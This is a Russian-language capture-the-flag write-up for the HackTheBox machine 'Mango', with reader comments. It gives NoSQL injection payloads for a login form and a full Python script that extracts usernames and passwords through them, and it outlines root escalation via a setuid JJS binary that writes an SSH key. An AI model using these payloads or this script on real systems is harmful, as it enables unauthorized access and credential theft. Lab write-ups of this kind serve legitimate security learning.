Продолжаю публикацию решений отправленных на дорешивание машин с площадки HackTheBox.
В данной статье эксплуатируем NoSQL инъекцию в форме авторизации, а также повышаем привилегии через JJS.
Подключение к лаборатории осуществляется через VPN. Рекомендуется не подключаться с рабочего компьютера или с хоста, где имеются важные для вас данные, так как Вы попадаете в частную сеть с людьми, которые что-то да умеют в области ИБ :)
Организационная информация
Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем.
Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.
Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.
Recon
Данная машина имеет IP адрес 10.10.10.162, который я добавляю в /etc/hosts.
10.10.10.162 mango.htb
Первым делом сканируем открытые порты. Так как сканировать все порты nmap’ом долго, то я сначала сделаю это с помощью masscan. Мы сканируем все TCP и UDP порты с интерфейса tun0 со скоростью 1000 пакетов в секунду.
masscan -e tun0 -p1-65535,U:1-65535 10.10.10.162 --rate=1000
Теперь для получения более подробной информации о сервисах, которые работают на портах, запустим сканирование с опцией -А.
nmap -A mango.htb -p22,80,443
Первым делом идем смотреть сайт. При обращении к mango.htb нас кидают с http на https, и говорят о проблеме с сертификатом. Если согласиться на риски, то можно увидеть эту страницу.
Но больше ничего интересного. В скане nmap отражена информация ssl-cert, где указан домен. Добавим его в /etc/hosts.
10.10.10.162 staging-order.mango.htb
И зайдем глянуть что там.
Здесь есть форма авторизации — возможная точка входа.
Entry Point
Пробуем несколько техник инъекций для обхода авторизации. И мы находим стандартную NoSql инъекцию, сравнивая реакцию на два условия: логин равен 123, пароль равен 123 и логин не равен 123, пароль не равен 123.
И после успешного истинного результата второго условия, получаем переадресацию на home.php. Таким образом возможна NoSql инъекция.
Так как на страницу ничего интересного нет, единственное что мы можем взять с данной уязвимости — логины и пароли.
USER
Давайте посмотри длины максимальных логинов и паролей. Для этого можно использовать следующие конструкции:
login[$regex]=.{length}&password[$ne]=123 — для логина (происходит сравнение по регулярному выражению для логина и отрицание неверного пароля);
login[$ne]=123; password[$regex]=.{length} для пароля.
Сделаем это с помощью burp intruder.
Таким образом, длина самого длинного логина — 5 символов. Проделав те же операции для пароля, узнаем, что длина самого длинного — 16 символов.
Так как руками это перебирать слишком долго, напишем скрипт на python. Сначала сделаем сессию для работы.
import string
import requests
alfa = string.printable
URL = 'http://staging-order.mango.htb'
r = requests.session()
ans = r.get(URL)
r.headers = {"Content-Type":"application/x-www-form-urlencoded"}
logins = []
Далее реализуем функцию для перебора логинов. Перебор будет осуществляться с помощью следующего регулярного выражения ^name.* — таким образом мы будем вытягивать по одному символу.
def logins_find(login):
is_find = False
for char in alfa[:62]:
data = "username[$regex]=^%s%s.*&password[$ne]=123&login=login" % (login, char)
resp = r.post(URL, data=data)
print('login: %s ' % (login+char), end='\r')
if len(resp.history):
is_find = True
logins_find(login+char)
if not is_find:
print('login found: %s ' % (login))
logins.append(login)
И подобная функция, только уже с использованием найденного логина.
def passwords_find(login, password):
is_find = False
for char in alfa:
if char in ['*','+','.','?','|', '#', '&', '$', '\\']:
char = '\\' + char
data = "username=%s&password[$regex]=^%s%s.*&login=login" % (login, password, char)
resp = r.post(URL, data=data)
print("password for %s: %s " % (login, (password+char).replace('\\', '')), end = '\r')
if len(resp.history):
is_find = True
passwords_find(login, password+char)
if not is_find:
print("[+] password for %s: %s " % (login, (password+char).replace('\\', '')))
ПОЛНЫЙ КОД:
#!/usr/bin/python3
import string
import requests
alfa = string.printable[:-6]
URL = 'http://staging-order.mango.htb'
r = requests.session()
ans = r.get(URL)
r.headers = {"Content-Type":"application/x-www-form-urlencoded"}
logins = []
def logins_find(login):
is_find = False
for char in alfa[:62]:
data = "username[$regex]=^%s%s.*&password[$ne]=123&login=login" % (login, char)
resp = r.post(URL, data=data)
print('login: %s ' % (login+char), end='\r')
if len(resp.history):
is_find = True
logins_find(login+char)
if not is_find:
print('login found: %s ' % (login))
logins.append(login)
def passwords_find(login, password):
is_find = False
for char in alfa:
if char in ['*','+','.','?','|', '#', '&', '$', '\\']:
char = '\\' + char
data = "username=%s&password[$regex]=^%s%s.*&login=login" % (login, password, char)
resp = r.post(URL, data=data)
print("password for %s: %s " % (login, (password+char).replace('\\', '')), end = '\r')
if len(resp.history):
is_find = True
passwords_find(login, password+char)
if not is_find:
print("[+] password for %s: %s " % (login, (password+char).replace('\\', '')))
print("SEARCH logins:")
logins_find("")
print("\nSEARCH passwords:")
[ passwords_find(login, "") for login in logins ]
И, как результат, находим учетные данные двух пользователей.
С учетными данными успешно подключаемся по SSH.
У нас есть пароль от второго пользователя, но он не дает залогиниться по SSH. Пробуем локально изменить пользователя, указав известный нам пароль.
ROOT
Проведем базовое перечисление, с помощью скрипта LinEnum.
И находим программу с выставленным S-битом.
Проверяем JJS на пример GTFOBins.
Так же там представлены примеры эксплуатации. Вызвать локальный шелл не вышло. Но можно сгенерировать ssh ключи, записать публичный в /root/.ssh/authorized_keys и подключиться с помощью приватного.
Давайте считаем публичный ключ.
И теперь запишем его.
И теперь подключимся как root.
Вы можете присоединиться к нам в Telegram. Там можно будет найти интересные материалы, слитые курсы, а также ПО. Давайте соберем сообщество, в котором будут люди, разбирающиеся во многих сферах ИТ, тогда мы всегда сможем помочь друг другу по любым вопросам ИТ и ИБ.
MiHaLaP
Точка входа для меня была адом, недели две с переменным успехом бился и курил форум, но так до конца и не понял как это всё работает на стороне сервера.
Graphite
Это похоже на MongoDB + PHP
На сервере код такой:
Если передали строку, то все ок, монго будет искать совпадение строк. Но PHP превращает password[$ne]=123 в ассоциативный массив: array('$ne' => 123). В свою очередь в MongoDB запрос вида {'password': {'$ne': '123'}} считает фильтром password != '123'. Другие поддерживаемые операторы можно посмотреть тут.